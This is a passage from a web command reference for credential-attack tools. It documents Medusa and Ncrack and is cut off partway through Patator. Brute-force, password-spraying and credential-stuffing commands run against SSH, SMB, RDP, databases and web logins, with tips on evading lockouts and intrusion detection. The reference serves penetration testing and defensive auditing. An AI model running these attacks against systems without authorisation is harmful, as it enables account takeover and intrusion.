john --format=descrypt-opencl --dev=1 hashes.txt ``` Targets a specific OpenCL device ID for cracking. ## Dupe Suppression ### john --wordlist=FILE --dupe-suppression hashes.txt ```bash john --wordlist=FILE --dupe-suppression hashes.txt ``` Example: ```bash john --wordlist=messy.txt --dupe-suppression hashes.txt ``` Suppresses duplicate candidates generated from an unsorted wordlist. ## Pot Sync ### john --pot=new.pot --loopback=old.pot hashes.txt ```bash john --pot=new.pot --loopback=old.pot hashes.txt ``` Example: ```bash john --pot=session.pot --loopback=master.pot hashes.txt ``` Feeds cracks from a master pot file into a specific session pot file. ## Safe Termination ### q ```bash q ``` Example: ```bash Press 'q' during execution ``` Safely aborts the current session and saves the restore point state. ## Related tools - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) - [Crunch](https://terminal.rokibulroni.com/tool/credentials/crunch) # Tool: Medusa > A speedy, parallel, modular login brute-forcer — an alternative to Hydra with thread-per-host design. - Category: Credentials - Commands: 55 - Page: https://terminal.rokibulroni.com/tool/credentials/medusa - Homepage: https://github.com/jmk-foofus/medusa - Tags: brute force, online attacks ## Install - apt: `sudo apt install medusa` - brew: `brew install medusa` ## Basic Syntax & Help ### medusa -d ```bash medusa -d ``` Lists all available authentication modules installed with Medusa ### medusa -M ssh -q ```bash medusa -M ssh -q ``` Displays usage options and specific flags for the SSH module ## Basic Credential Testing ### medusa -h 127.0.0.1 -u admin -p password -M ssh ```bash medusa -h 127.0.0.1 -u admin -p password -M ssh ``` Tests a single username and password against an SSH service on a target ### medusa -h 127.0.0.1 -u admin -p password -M ftp ```bash medusa -h 127.0.0.1 -u admin -p password -M ftp ``` Tests a single username and password against an FTP service ### medusa -h 127.0.0.1 -u admin -p password -M telnet ```bash medusa -h 127.0.0.1 -u admin -p password -M telnet ``` Tests a single username and password against a Telnet service ## Target Specification ### medusa -H hosts.txt -u admin -p password -M ssh ```bash medusa -H hosts.txt -u admin -p password -M ssh ``` Performs a login attempt against a list of target hosts specified in a file ## Username List Usage ### medusa -h 127.0.0.1 -U users.txt -p password -M ssh ```bash medusa -h 127.0.0.1 -U users.txt -p password -M ssh ``` Iterates through a file of usernames with a single fixed password ## Password List Usage ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh ``` Tests a single username against a list of passwords ## Full Wordlist Attack ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh ``` Tests every username in the user list against every password in the password list ## Combo File Attack ### medusa -h 127.0.0.1 -C combo.txt -M ssh ```bash medusa -h 127.0.0.1 -C combo.txt -M ssh ``` Uses a combo file containing 'user:password' format on each line ## Port Specification ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -n 2222 ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -n 2222 ``` Targets a specific non-standard port for the SSH service ## HTTP Authentication ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M http ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M http ``` Tests HTTP Basic Authentication against the web root ## HTTP Authentication Options ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -m DIR:/admin ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -m DIR:/admin ``` Tests HTTP Basic Authentication against a specific directory path ## SSL/TLS Encryption ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -s ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -s ``` Enforces SSL/TLS usage for the connection (HTTPS) ## SMB/Windows Authentication ### medusa -h 127.0.0.1 -u Administrator -P passwords.txt -M smbnt ```bash medusa -h 127.0.0.1 -u Administrator -P passwords.txt -M smbnt ``` Tests credentials against the Windows SMB service ## Database Authentication (MySQL) ### medusa -h 127.0.0.1 -u root -P passwords.txt -M mysql ```bash medusa -h 127.0.0.1 -u root -P passwords.txt -M mysql ``` Performs password auditing against a MySQL database server ## Database Authentication (MSSQL) ### medusa -h 127.0.0.1 -u sa -P passwords.txt -M mssql ```bash medusa -h 127.0.0.1 -u sa -P passwords.txt -M mssql ``` Performs password auditing against a Microsoft SQL Server ## Database Authentication (PostgreSQL) ### medusa -h 127.0.0.1 -u postgres -P passwords.txt -M postgres ```bash medusa -h 127.0.0.1 -u postgres -P passwords.txt -M postgres ``` Performs password auditing against a PostgreSQL database ## VNC Authentication ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M vnc ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M vnc ``` Tests passwords against a VNC server (username is often ignored or specific) ## SNMP Community String ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M snmp ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M snmp ``` Audits SNMP community strings using the password list as community strings ## Control Flags (Stop on Success) ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -f ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -f ``` Stops scanning the host immediately after the first valid username/password pair is found ## Empty Password Testing ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e n ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e n ``` Attempts to login with an empty password for each user in addition to the wordlist ## Same Password Testing ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e s ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e s ``` Attempts to login using the username as the password ## Comprehensive Empty/Same Testing ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e ns ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -e ns ``` Checks both empty passwords and username-as-password for every user ## Output & Logging ### medusa -h 127.0.0.1 -u admin -p password -M ssh -O results.txt ```bash medusa -h 127.0.0.1 -u admin -p password -M ssh -O results.txt ``` Saves the results of the audit to a specified text file ## Verbose Debugging ### medusa -h 127.0.0.1 -u admin -p password -M ssh -v 6 ```bash medusa -h 127.0.0.1 -u admin -p password -M ssh -v 6 ``` Runs with high verbosity level (0-6) to display detailed connection and authentication debug info ## Banner Suppression ### medusa -h 127.0.0.1 -u admin -p password -M ssh -b ```bash medusa -h 127.0.0.1 -u admin -p password -M ssh -b ``` Suppresses the tool's startup banner for cleaner output in scripts ## Concurrency (Threads) ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -t 10 ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -t 10 ``` Sets the number of simultaneous threads to use for testing ## Concurrency (Parallel Hosts) ### medusa -H hosts.txt -u admin -P passwords.txt -M ssh -T 5 ```bash medusa -H hosts.txt -u admin -P passwords.txt -M ssh -T 5 ``` Tests up to 5 hosts simultaneously from the host list ## Concurrency (Parallel Logins) ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -L 2 ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -L 2 ``` Allows 2 parallel login attempts per host to speed up testing without overwhelming the service ## Error Handling (Wait) ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -w 5 ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -w 5 ``` Waits 5 seconds before retrying after an error (e.g., connection drop) ## Retry Control ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -r 5 ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -r 5 ``` Sets the retry wait time between attempts to avoid locking out accounts or triggering IDS ## Session Resuming ### medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -R 1 ```bash medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ssh -R 1 ``` Resumes a previously aborted session from a specific index ## Web Form Authentication ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M web-form ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M web-form ``` Targets a generic HTML form authentication mechanism ## Email (SMTP) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M smtp ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M smtp ``` Audits credentials for the Simple Mail Transfer Protocol ## Email (IMAP) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M imap ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M imap ``` Audits credentials for the IMAP mail access protocol ## Email (POP3) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M pop3 ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M pop3 ``` Audits credentials for the POP3 mail access protocol ## Version Control (CVS) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M cvs ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M cvs ``` Audits credentials for a CVS repository server ## Version Control (SVN) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M svn ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M svn ``` Audits credentials for a Subversion repository server ## Legacy Remote Execution (Rexec) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M rexec ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M rexec ``` Tests credentials against the legacy Rexec service ## Legacy Remote Login (Rlogin) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M rlogin ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M rlogin ``` Tests credentials against the legacy Rlogin service ## Advanced SMB Options ### medusa -h 127.0.0.1 -u Administrator -P passwords.txt -M smbnt -m WORKGROUP:CORP ```bash medusa -h 127.0.0.1 -u Administrator -P passwords.txt -M smbnt -m WORKGROUP:CORP ``` Specifies the Windows Workgroup or Domain name for SMB authentication ## HTTP User Agent Modification ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -m USER-AGENT:MedusaScanner/1.0 ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M http -m USER-AGENT:MedusaScanner/1.0 ``` Modifies the User-Agent header string sent during HTTP authentication attempts ## Alternative HTTP Port ### medusa -h 127.0.0.1 -n 8080 -u admin -P passwords.txt -M http ```bash medusa -h 127.0.0.1 -n 8080 -u admin -P passwords.txt -M http ``` Targets an HTTP service running on a non-standard port like 8080 ## VMware Authentication ### medusa -h 127.0.0.1 -u root -P passwords.txt -M vmauthd ```bash medusa -h 127.0.0.1 -u root -P passwords.txt -M vmauthd ``` Audits credentials against the VMware Authentication Daemon ## Network File System (PCNFS) ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M pcnfs ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M pcnfs ``` Tests credentials against a PC-NFS service ## Multi-Host SSH Scan ### medusa -H hosts.txt -u root -P passwords.txt -M ssh -t 20 -T 10 ```bash medusa -H hosts.txt -u root -P passwords.txt -M ssh -t 20 -T 10 ``` High-performance SSH scan across multiple hosts with increased thread counts ## Slow and Stealthy Scan ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -r 10 -t 1 ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -r 10 -t 1 ``` Minimizes noise by using a single thread and adding a delay between retries ## Credential Validation Workflow ### medusa -h 127.0.0.1 -u known_user -p known_pass -M ssh -v 6 ```bash medusa -h 127.0.0.1 -u known_user -p known_pass -M ssh -v 6 ``` Validates a single known credential with maximum verbosity to debug authentication issues ## Default Account Audit ### medusa -h 127.0.0.1 -C defaults.txt -M http -f ```bash medusa -h 127.0.0.1 -C defaults.txt -M http -f ``` Quickly checks for default credentials using a combo file and stops on first success ## Log File Append ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -O master_log.txt ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M ssh -O master_log.txt ``` Appends audit results to a centralized log file for aggregation ## Mass SMB Audit ### medusa -H smb_hosts.txt -u Administrator -P passwords.txt -M smbnt -T 20 -f ```bash medusa -H smb_hosts.txt -u Administrator -P passwords.txt -M smbnt -T 20 -f ``` Audits a list of Windows hosts for a specific admin password, stopping on success per host ## Database Discovery ### medusa -H db_hosts.txt -u root -p root -M mysql -T 10 -v 3 ```bash medusa -H db_hosts.txt -u root -p root -M mysql -T 10 -v 3 ``` Scans multiple hosts to identify MySQL instances with default root credentials ## Web Form Input Specifics ### medusa -h 127.0.0.1 -u admin -P passwords.txt -M web-form -m FORM:login_page.php ```bash medusa -h 127.0.0.1 -u admin -P passwords.txt -M web-form -m FORM:login_page.php ``` Specifies the target PHP file handling the login form logic ## Full Comprehensive Audit ### medusa -H all_targets.txt -U users.txt -P passwords.txt -M ssh -e ns -t 10 -T 5 -f -v 4 -O audit_final.log ```bash medusa -H all_targets.txt -U users.txt -P passwords.txt -M ssh -e ns -t 10 -T 5 -f -v 4 -O audit_final.log ``` Runs a full scale audit with user/pass lists, empty/same checks, concurrency, and logging ## Related tools - [Hydra](https://terminal.rokibulroni.com/tool/credentials/hydra) - [Ncrack](https://terminal.rokibulroni.com/tool/credentials/ncrack) - [Patator](https://terminal.rokibulroni.com/tool/credentials/patator) # Tool: Ncrack > Nmap project’s high-speed network authentication cracker for RDP, SSH, SMB, FTP and other services, with timing controls. - Category: Credentials - Commands: 75 - Page: https://terminal.rokibulroni.com/tool/credentials/ncrack - Homepage: https://nmap.org/ncrack/ - Documentation: https://nmap.org/ncrack/man.html - Tags: brute force, RDP, SSH ## Install - apt: `sudo apt install ncrack` - brew: `brew install ncrack` ## Basic Ncrack Usage ### ncrack --version ```bash ncrack --version ``` Displays the currently installed version of Ncrack to verify availability. ### ncrack --help ```bash ncrack --help ``` Prints the main help menu listing supported flags and usage syntax. ### ncrack -V ```bash ncrack -V ``` Runs Ncrack with increased verbosity to show detailed runtime information. ### ncrack --list-modules ```bash ncrack --list-modules ``` Lists all supported authentication modules and default ports available in the current installation. ## Single Target Testing ### ncrack -u admin --pass 'Password123' ftp://127.0.0.1 ```bash ncrack -u admin --pass 'Password123' ftp://127.0.0.1 ``` Tests a single username and password against an FTP service using URL syntax. ### ncrack -u root --pass toor ssh://127.0.0.1 ```bash ncrack -u root --pass toor ssh://127.0.0.1 ``` Tests a single username and password against an SSH service using URL syntax. ### ncrack -p 22 --user root --pass toor 127.0.0.1 ```bash ncrack -p 22 --user root --pass toor 127.0.0.1 ``` Explicitly specifies port 22 for an SSH login attempt against a target IP. ## Wordlist Based Testing ### ncrack -u admin -P passwords.txt 127.0.0.1:21 ```bash ncrack -u admin -P passwords.txt 127.0.0.1:21 ``` Tests a single username against a list of passwords for an FTP service on port 21. ### ncrack -U users.txt -P passwords.txt ssh://127.0.0.1 ```bash ncrack -U users.txt -P passwords.txt ssh://127.0.0.1 ``` Performs a full audit using a list of users and a list of passwords against an SSH target. ### ncrack -U users.txt --pass 'Summer2023!' rdp://192.168.1.10 ```bash ncrack -U users.txt --pass 'Summer2023!' rdp://192.168.1.10 ``` Performs a password spraying attack using a list of users and one common password against RDP. ## Target Specification ### ncrack -iL targets.txt -p ssh ```bash ncrack -iL targets.txt -p ssh ``` Scans multiple targets provided in a text file against the default SSH port. ### ncrack -p ssh 192.168.1.0/24 ```bash ncrack -p ssh 192.168.1.0/24 ``` Targets an entire CIDR subnet range for SSH authentication discovery. ### ncrack -p 80,443,8080 127.0.0.1 ```bash ncrack -p 80,443,8080 127.0.0.1 ``` Specifies multiple ports manually to check for services on a single host. ## Protocol Specific - Windows ### ncrack -p smb -u Administrator -P passlist.txt 192.168.1.50 ```bash ncrack -p smb -u Administrator -P passlist.txt 192.168.1.50 ``` Targets the SMB protocol specifically for Windows authentication auditing. ### ncrack -p rdp -U users.txt -P pass.txt 192.168.1.50 ```bash ncrack -p rdp -U users.txt -P pass.txt 192.168.1.50 ``` Audits Remote Desktop Protocol credentials using user and password lists. ### ncrack -p winrm -u admin -P passwords.txt 192.168.1.50 ```bash ncrack -p winrm -u admin -P passwords.txt 192.168.1.50 ``` Targets Windows Remote Management service for authentication testing. ## Protocol Specific - Database ### ncrack -p 3306 -u root -P mysql_pass.txt 127.0.0.1 ```bash ncrack -p 3306 -u root -P mysql_pass.txt 127.0.0.1 ``` Audits a MySQL database instance on the default port 3306. ### ncrack -p 5432 -u postgres -P pg_pass.txt 127.0.0.1 ```bash ncrack -p 5432 -u postgres -P pg_pass.txt 127.0.0.1 ``` Audits a PostgreSQL database instance on the default port 5432. ### ncrack -p 1433 -u sa -P mssql_pass.txt 192.168.1.20 ```bash ncrack -p 1433 -u sa -P mssql_pass.txt 192.168.1.20 ``` Targets a Microsoft SQL Server instance using the 'sa' account. ### ncrack -p 6379 -u default -P redis_pass.txt 127.0.0.1 ```bash ncrack -p 6379 -u default -P redis_pass.txt 127.0.0.1 ``` Tests authentication against a Redis data store on port 6379. ### ncrack -p 27017 -u admin -P mongo_pass.txt 127.0.0.1 ```bash ncrack -p 27017 -u admin -P mongo_pass.txt 127.0.0.1 ``` Audits a MongoDB instance using the default port 27017. ## Protocol Specific - Web ### ncrack -p http -u admin -P web_pass.txt 127.0.0.1 ```bash ncrack -p http -u admin -P web_pass.txt 127.0.0.1 ``` Tests HTTP Basic Authentication against the web root. ### ncrack -p https -u admin -P web_pass.txt 127.0.0.1 ```bash ncrack -p https -u admin -P web_pass.txt 127.0.0.1 ``` Tests HTTPS Basic Authentication ensuring SSL/TLS encryption is used. ### ncrack http://127.0.0.1,path=/admin ```bash ncrack http://127.0.0.1,path=/admin ``` Specifies a specific URL path '/admin' for the HTTP authentication test. ## Protocol Specific - Mail ### ncrack -p 110 -u user -P mail_pass.txt 127.0.0.1 ```bash ncrack -p 110 -u user -P mail_pass.txt 127.0.0.1 ``` Targets a POP3 mail server on port 110. ### ncrack -p 143 -u user -P mail_pass.txt 127.0.0.1 ```bash ncrack -p 143 -u user -P mail_pass.txt 127.0.0.1 ``` Targets an IMAP mail server on port 143. ## Protocol Specific - Legacy ### ncrack -p 23 -u root -P telnet_pass.txt 192.168.1.1 ```bash ncrack -p 23 -u root -P telnet_pass.txt 192.168.1.1 ``` Audits a legacy Telnet service on port 23. ## Protocol Specific - VNC ### ncrack -p 5900 -u user -P vnc_pass.txt 192.168.1.5 ```bash ncrack -p 5900 -u user -P vnc_pass.txt 192.168.1.5 ``` Tests VNC remote access passwords on default port 5900. ## SSL/TLS Options ### ncrack -p ssl:21 -u admin -P pass.txt 127.0.0.1 ```bash ncrack -p ssl:21 -u admin -P pass.txt 127.0.0.1 ``` Forces SSL connection on a standard FTP port (FTPS explicit). ### ncrack -p 993 -u user -P pass.txt 127.0.0.1 ```bash ncrack -p 993 -u user -P pass.txt 127.0.0.1 ``` Tests IMAPS (IMAP over SSL) on the standard secure port. ## Timing and Performance ### ncrack -p ssh --connection-limit 5 127.0.0.1 ```bash ncrack -p ssh --connection-limit 5 127.0.0.1 ``` Limits the number of concurrent connections per service to 5. ### ncrack -p ssh --auth-limit 2 127.0.0.1 ```bash ncrack -p ssh --auth-limit 2 127.0.0.1 ``` Limits the number of authentication attempts per connection to 2. ### ncrack -p ssh --time-limit 1h 127.0.0.1 ```bash ncrack -p ssh --time-limit 1h 127.0.0.1 ``` Sets a hard time limit of 1 hour for the entire cracking session. ### ncrack -p ssh -g cl=10 127.0.0.1 ```bash ncrack -p ssh -g cl=10 127.0.0.1 ``` Uses the global option flag to set the connection limit to 10. ### ncrack -p ssh -g at=1 127.0.0.1 ```bash ncrack -p ssh -g at=1 127.0.0.1 ``` Sets the authentication tries per connection to exactly 1 (useful for avoiding lockouts). ### ncrack -p ssh -g to=5s 127.0.0.1 ```bash ncrack -p ssh -g to=5s 127.0.0.1 ``` Sets the connection timeout to 5 seconds to fail fast on unresponsive hosts. ## Output and Logging ### ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oN output.txt ```bash ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oN output.txt ``` Saves the results in Normal human-readable format to a file. ### ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oX output.xml ```bash ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oX output.xml ``` Saves the results in XML format for easier parsing by other tools. ### ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oA ncrack_scan ```bash ncrack -p ssh -u user -P pass.txt 127.0.0.1 -oA ncrack_scan ``` Saves the results in all available formats (Normal, XML, Grepable) with the given basename. ### ncrack -v -p ssh 127.0.0.1 ```bash ncrack -v -p ssh 127.0.0.1 ``` Runs in verbose mode to see more details about the connection process. ### ncrack -d -p ssh 127.0.0.1 ```bash ncrack -d -p ssh 127.0.0.1 ``` Runs in debugging mode to troubleshoot connection or module errors. ### ncrack -d2 -p ssh 127.0.0.1 ```bash ncrack -d2 -p ssh 127.0.0.1 ``` Runs with high debugging level (level 2) for deep protocol inspection. ## Session Management ### ncrack -p ssh -U users.txt -P biglist.txt 127.0.0.1 --save session.dat ```bash ncrack -p ssh -U users.txt -P biglist.txt 127.0.0.1 --save session.dat ``` Saves the session state to a file periodically to allow pausing. ### ncrack --resume session.dat ```bash ncrack --resume session.dat ``` Resumes a previously saved or interrupted Ncrack session from the file. ## Advanced List Handling ### ncrack -p ssh --pairwise 127.0.0.1 ```bash ncrack -p ssh --pairwise 127.0.0.1 ``` Tests usernames against passwords in pairs (u1 with p1, u2 with p2) rather than all-to-all. ### ncrack -p ssh --passwords-first 127.0.0.1 ```bash ncrack -p ssh --passwords-first 127.0.0.1 ``` Iterates through the password list first for each username (inverts the default loops). ## Advanced Targeting ### ncrack -iL targets.txt --exclude 192.168.1.1 ```bash ncrack -iL targets.txt --exclude 192.168.1.1 ``` Scans a list of targets but explicitly excludes a specific IP address. ### ncrack -p ssh --exclude-file safe_hosts.txt 192.168.1.0/24 ```bash ncrack -p ssh --exclude-file safe_hosts.txt 192.168.1.0/24 ``` Scans a subnet but excludes all hosts listed in a specific file. ## Advanced Protocol Options ### ncrack -p sip -u 100 -P pass.txt 192.168.1.50 ```bash ncrack -p sip -u 100 -P pass.txt 192.168.1.50 ``` Audits a SIP (VoIP) server using extension numbers as usernames. ### ncrack -p dicom -u admin -P pass.txt 192.168.1.60 ```bash ncrack -p dicom -u admin -P pass.txt 192.168.1.60 ``` Audits a DICOM medical imaging server for default credentials. ### ncrack -p cvs -u root -P pass.txt 127.0.0.1 ```bash ncrack -p cvs -u root -P pass.txt 127.0.0.1 ``` Audits a CVS (Concurrent Versions System) server. ### ncrack -p mqtt -u user -P pass.txt 127.0.0.1 ```bash ncrack -p mqtt -u user -P pass.txt 127.0.0.1 ``` Audits an MQTT broker often used in IoT environments. ## Module Specific Options ### ncrack -p ssh,ftp:3000 127.0.0.1 ```bash ncrack -p ssh,ftp:3000 127.0.0.1 ``` Scans default SSH port and a non-standard FTP port (3000) simultaneously. ## Red Team Workflows ### ncrack -p smb -U users.txt --pass 'Company2024!' -g at=1,cl=1 192.168.1.0/24 ```bash ncrack -p smb -U users.txt --pass 'Company2024!' -g at=1,cl=1 192.168.1.0/24 ``` Low-and-slow password spraying attack against an SMB range to avoid account lockouts. ### ncrack -p ssh -u root -P top500.txt 192.168.1.10 -g to=10s ```bash ncrack -p ssh -u root -P top500.txt 192.168.1.10 -g to=10s ``` Targeted brute force of the root account using a curated top 500 password list. ## Blue Team Validation ### ncrack -p ssh -u audit_test -P bad_passwords.txt 127.0.0.1 ```bash ncrack -p ssh -u audit_test -P bad_passwords.txt 127.0.0.1 ``` Simulates attacks to verify if the SIEM or IDS triggers on repeated SSH failures. ### ncrack -p http -U known_users.txt -P weak_pass.txt 127.0.0.1 ```bash ncrack -p http -U known_users.txt -P weak_pass.txt 127.0.0.1 ``` Verifies that web application accounts have strong passwords by testing against a weak list. ## Performance Tuning ### ncrack -p ftp -g cl=200,at=5 127.0.0.1 ```bash ncrack -p ftp -g cl=200,at=5 127.0.0.1 ``` Aggressive high-speed scan with high connection limits for a stress test in a lab. ## Combined Workflow ### ncrack -iL all_servers.txt -p ssh,rdp,winrm -U admins.txt -P passwords.txt -oA internal_audit ```bash ncrack -iL all_servers.txt -p ssh,rdp,winrm -U admins.txt -P passwords.txt -oA internal_audit ``` Comprehensive infrastructure audit checking SSH, RDP, and WinRM across all servers. ## Credential Stuffing Simulation ### ncrack -p https --pairwise -U leaked_users.txt -P leaked_pass.txt 127.0.0.1 ```bash ncrack -p https --pairwise -U leaked_users.txt -P leaked_pass.txt 127.0.0.1 ``` Tests exact username:password pairs from a breach against a secure web portal. ## Protocol Specific - Network ### ncrack -p 23 -u cisco -P cisco_pass.txt 192.168.1.254 ```bash ncrack -p 23 -u cisco -P cisco_pass.txt 192.168.1.254 ``` Tests default credentials on network infrastructure equipment via Telnet. ## IPv6 Targeting ### ncrack -6 -p ssh -u root -P pass.txt 2001:db8::1 ```bash ncrack -6 -p ssh -u root -P pass.txt 2001:db8::1 ``` Targets an IPv6 address for SSH authentication testing. ## Verbose Debugging ### ncrack -vv -d -p ssh 127.0.0.1 ```bash ncrack -vv -d -p ssh 127.0.0.1 ``` Combines high verbosity and debug mode for maximum runtime visibility. ## Interactive Mode ### ncrack -p ssh -u user -P pass.txt 127.0.0.1 ```bash ncrack -p ssh -u user -P pass.txt 127.0.0.1 ``` Runs in interactive mode where keys like 'p', 'v', 'd' can be pressed to toggle status lines. ## Time Limit Audit ### ncrack -p smb -U users.txt -P pass.txt --time-limit 10m 192.168.1.0/24 ```bash ncrack -p smb -U users.txt -P pass.txt --time-limit 10m 192.168.1.0/24 ``` Runs an SMB audit across a subnet but strictly terminates after 10 minutes. ## Specific MongoDB Auth ### ncrack -p 27017 -u admin -P pass.txt --module-opt authdb=admin 127.0.0.1 ```bash ncrack -p 27017 -u admin -P pass.txt --module-opt authdb=admin 127.0.0.1 ``` Specifies the MongoDB authentication database explicitly using module options. ## Cassandra DB ### ncrack -p 9042 -u cassandra -P pass.txt 127.0.0.1 ```bash ncrack -p 9042 -u cassandra -P pass.txt 127.0.0.1 ``` Audits a Cassandra database service on its native protocol port. ## Wordpress XMLRPC ### ncrack -p http -u admin -P pass.txt --module-opt path=/xmlrpc.php 127.0.0.1 ```bash ncrack -p http -u admin -P pass.txt --module-opt path=/xmlrpc.php 127.0.0.1 ``` Targets the WordPress XML-RPC interface for authentication brute forcing. ## Custom HTTP Method ### ncrack -p http -u admin -P pass.txt --module-opt method=HEAD 127.0.0.1 ```bash ncrack -p http -u admin -P pass.txt --module-opt method=HEAD 127.0.0.1 ``` Uses the HEAD method instead of GET/POST for HTTP authentication attempts. ## WinRM HTTPS ### ncrack -p 5986 -u Administrator -P pass.txt 192.168.1.50 ```bash ncrack -p 5986 -u Administrator -P pass.txt 192.168.1.50 ``` Targets WinRM over HTTPS (port 5986) for secure management auditing. ## Postgres Specific Database ### ncrack -p 5432 -u postgres -P pass.txt --module-opt dbname=template1 127.0.0.1 ```bash ncrack -p 5432 -u postgres -P pass.txt --module-opt dbname=template1 127.0.0.1 ``` Connects to a specific PostgreSQL database name 'template1' during authentication. ## FTP Passive Mode ### ncrack -p ftp -u admin -P pass.txt --module-opt passive 127.0.0.1 ```bash ncrack -p ftp -u admin -P pass.txt --module-opt passive 127.0.0.1 ``` Forces the FTP module to use passive mode for data connection compatibility. ## SSH Key Exchange ### ncrack -p ssh -u root -P pass.txt --module-opt kex=diffie-hellman-group1-sha1 127.0.0.1 ```bash ncrack -p ssh -u root -P pass.txt --module-opt kex=diffie-hellman-group1-sha1 127.0.0.1 ``` Specifies a legacy key exchange algorithm for SSH to support older targets. ## Full Automation Chain ### ncrack -iL targets.txt -p ssh,rdp,smb -U users.txt -P pass.txt -g cl=2,at=1 -oA full_audit --save checkpoint.dat ```bash ncrack -iL targets.txt -p ssh,rdp,smb -U users.txt -P pass.txt -g cl=2,at=1 -oA full_audit --save checkpoint.dat ``` A complete, safe automation command combining throttling, logging, checkpoints, and multi-protocol targeting. ## Quiet Scan ### ncrack -p ssh -u user -P pass.txt 127.0.0.1 -q ```bash ncrack -p ssh -u user -P pass.txt 127.0.0.1 -q ``` Runs the scan in quiet mode, suppressing most non-critical output to stdout. ## Related tools - [Hydra](https://terminal.rokibulroni.com/tool/credentials/hydra) - [Medusa](https://terminal.rokibulroni.com/tool/credentials/medusa) - [Nmap](https://terminal.rokibulroni.com/tool/network/nmap) # Tool: Patator > A modular, highly configurable multi-purpose brute-forcer with fine-grained control over responses and retries. - Category: Credentials - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/credentials/patator - Homepage: https://github.com/lanjelot/patator - Tags: brute force, modular ## Install - apt: `sudo apt install patator` ## Basic Credential Testing ### patator ssh_login host=127.0.0.1 user=admin password=password123 ```bash patator ssh_login host=127.0.0.1 user=admin password=password123 ``` Tests a single static username and password against a local SSH service. ### patator ftp_login host=127.0.0.1 user=ftpuser password=ftppass ```bash patator ftp_login host=127.0.0.1 user=ftpuser password=ftppass ``` Attempts a single credential pair authentication against an FTP server. ### patator telnet_login host=127.0.0.1 user=root password=toor ```bash patator telnet_login host=127.0.0.1 user=root password=toor ``` Validates a single credential set against a legacy Telnet service. ## Basic Dictionary Attacks ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=passwords.txt ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=passwords.txt ``` Iterates through a password file testing against the static user 'admin'. ### patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=password123 ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=password123 ``` Iterates through a username file testing against a static password. ### patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE0 0=users.txt ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE0 0=users.txt ``` Tests username as password (user=pass) by using the same file input for both fields. ## Combinator Attacks ### patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE1 1=passwords.txt ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE1 1=passwords.txt ``` Performs a standard brute-force attack trying every password for every user. ### patator ftp_login host=127.0.0.1 user=FILE0 0=users.txt 